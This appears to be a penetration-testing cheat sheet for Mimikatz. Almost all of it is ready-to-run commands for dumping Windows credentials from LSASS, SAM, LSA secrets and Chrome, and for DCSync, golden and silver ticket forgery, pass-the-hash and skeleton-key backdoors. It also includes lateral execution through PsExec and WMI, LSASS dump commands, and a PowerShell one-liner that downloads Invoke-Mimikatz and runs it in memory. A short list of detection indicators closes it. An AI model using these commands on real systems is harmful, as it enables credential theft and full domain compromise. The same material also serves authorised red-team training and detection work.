🌶 MIMIKATZ

Mimikatz is a Windows credential extraction tool.
Used for extracting passwords, hashes, PINs, and Kerberos tickets.

IMPORTANT: Requires administrative privileges for most commands.

mimikatz.exe                      # Interactive mode
mimikatz.exe "command" exit       # Single command
mimikatz.exe "cmd1" "cmd2" exit   # Multiple commands

# Elevate privileges (required for most ops)
privilege::debug

# Check status
privilege::debug
token::elevate

# Dump credentials from LSASS memory
sekurlsa::logonpasswords

# Dump specific credential types
sekurlsa::wdigest               # WDigest passwords
sekurlsa::kerberos              # Kerberos tickets
sekurlsa::tspkg                 # TsPkg credentials
sekurlsa::livessp               # LiveSSP credentials
sekurlsa::ssp                   # SSP credentials
sekurlsa::credman               # Credential Manager

# Dump NTLM hashes
sekurlsa::msv

# Minidump analysis (offline)
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

# Dump local SAM database
lsadump::sam

# Dump SAM from backup files
lsadump::sam /system:SYSTEM /sam:SAM

# Extract from registry
lsadump::sam /patch

# DCSync - Replicate DC data (requires replication rights)
lsadump::dcsync /user:Administrator
lsadump::dcsync /user:krbtgt
lsadump::dcsync /user:domain\user
lsadump::dcsync /all /csv           # All accounts

# Dump NTDS.dit (requires local admin on DC)
lsadump::lsa /patch
lsadump::lsa /inject

# Dump trust keys
lsadump::trust /patch

# List Kerberos tickets
kerberos::list
kerberos::list /export              # Export to files

# Pass the Ticket (PTT)
kerberos::ptt ticket.kirbi
kerberos::ptt C:\path\to\ticket.kirbi

# Golden Ticket (requires krbtgt hash)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /id:500 /ptt

# Golden Ticket with groups
kerberos::golden /user:fakeuser /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /id:500 /groups:512,513,518,519,520 /ptt

# Silver Ticket (service ticket)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local /service:cifs /rc4:HASH /ptt

# Purge tickets
kerberos::purge

# Pass the hash
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:HASH
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:HASH /run:cmd.exe

# Pass the hash with AES keys
sekurlsa::pth /user:Administrator /domain:domain.local /aes256:KEY /run:cmd.exe

# Request TGT with hash
sekurlsa::pth /user:user /domain:domain.local /ntlm:HASH /run:"powershell -w hidden"

# Then use klist to verify
klist

# Dump DPAPI master keys
sekurlsa::dpapi

# Decrypt DPAPI blob
dpapi::blob /in:blob.bin /masterkey:KEY

# Chrome passwords
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"

# Credential files
dpapi::cred /in:C:\Users\user\AppData\...\Credentials\GUID

# List vaults
vault::list

# Dump vault credentials
vault::cred /patch

# Dump LSA secrets
lsadump::secrets

# Dump cached domain logons
lsadump::cache

# List tokens
token::list

# Elevate to SYSTEM
token::elevate

# Elevate to specific user
token::elevate /domainadmin

# Revert token
token::revert

# List processes
process::list

# Start process
process::start cmd.exe

# Suspend process
process::suspend /pid:1234

# Resume process
process::resume /pid:1234

# Remote mimikatz via PSExec
psexec.exe \\target -s cmd /c "mimikatz.exe privilege::debug sekurlsa::logonpasswords exit"

# WMI execution
wmic /node:target process call create "mimikatz.exe ..."

# Dump RDP credentials
sekurlsa::tspkg

# Dump RDP session credentials (mstsc)
ts::mstsc

# Inject skeleton key (DC only)
# Allows login with "mimikatz" password
misc::skeleton

# Usage after injection:
# Any account can auth with password "mimikatz"

# Dump trust keys
lsadump::trust /patch

# Create inter-realm TGT
kerberos::golden /user:Administrator /domain:child.domain.local /sid:S-1-5-21-... /krbtgt:HASH /sids:S-1-5-21-...-519 /ptt

# Export certificates
crypto::certificates /export
crypto::certificates /systemstore:local_machine /export

# Make certificates exportable
crypto::capi
crypto::cng

# Basic credential dump
privilege::debug
sekurlsa::logonpasswords

# DCSync attack
privilege::debug
lsadump::dcsync /user:krbtgt

# Golden ticket attack
privilege::debug
lsadump::dcsync /user:krbtgt
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /ptt

# Pass the hash
privilege::debug
sekurlsa::pth /user:admin /domain:domain.local /ntlm:HASH /run:cmd

# In-memory execution (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds

# Reflective DLL injection
Invoke-ReflectivePEInjection -PEPath mimikatz.exe

# Using pypykatz (Python)
pypykatz lsa minidump lsass.dmp

# Create LSASS dump (on target)
procdump.exe -ma lsass.exe lsass.dmp
rundll32.exe comsvcs.dll MiniDump PID lsass.dmp full
tasklist /fi "imagename eq lsass.exe"  # Get PID first

# Analyze offline
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

coffee              # Coffee break
exit                # Exit mimikatz
version             # Show version
cls                 # Clear screen
log                 # Log to file
log::stop           # Stop logging

# Mimikatz indicators:
# - Process accessing LSASS
# - Event ID 4688: Process creation
# - Event ID 4624: Logon events (type 9 for PTH)
# - Named pipes: \\.\pipe\mimikatz
# - Memory patterns in LSASS

privilege::debug                    # Get debug privilege
sekurlsa::logonpasswords           # Dump all creds
sekurlsa::pth /user:x /ntlm:HASH   # Pass the hash
lsadump::dcsync /user:krbtgt       # DCSync
kerberos::golden ... /ptt          # Golden ticket
kerberos::ptt ticket.kirbi         # Pass the ticket
lsadump::sam                       # Dump SAM
lsadump::secrets                   # Dump LSA secrets
token::elevate                     # Get SYSTEM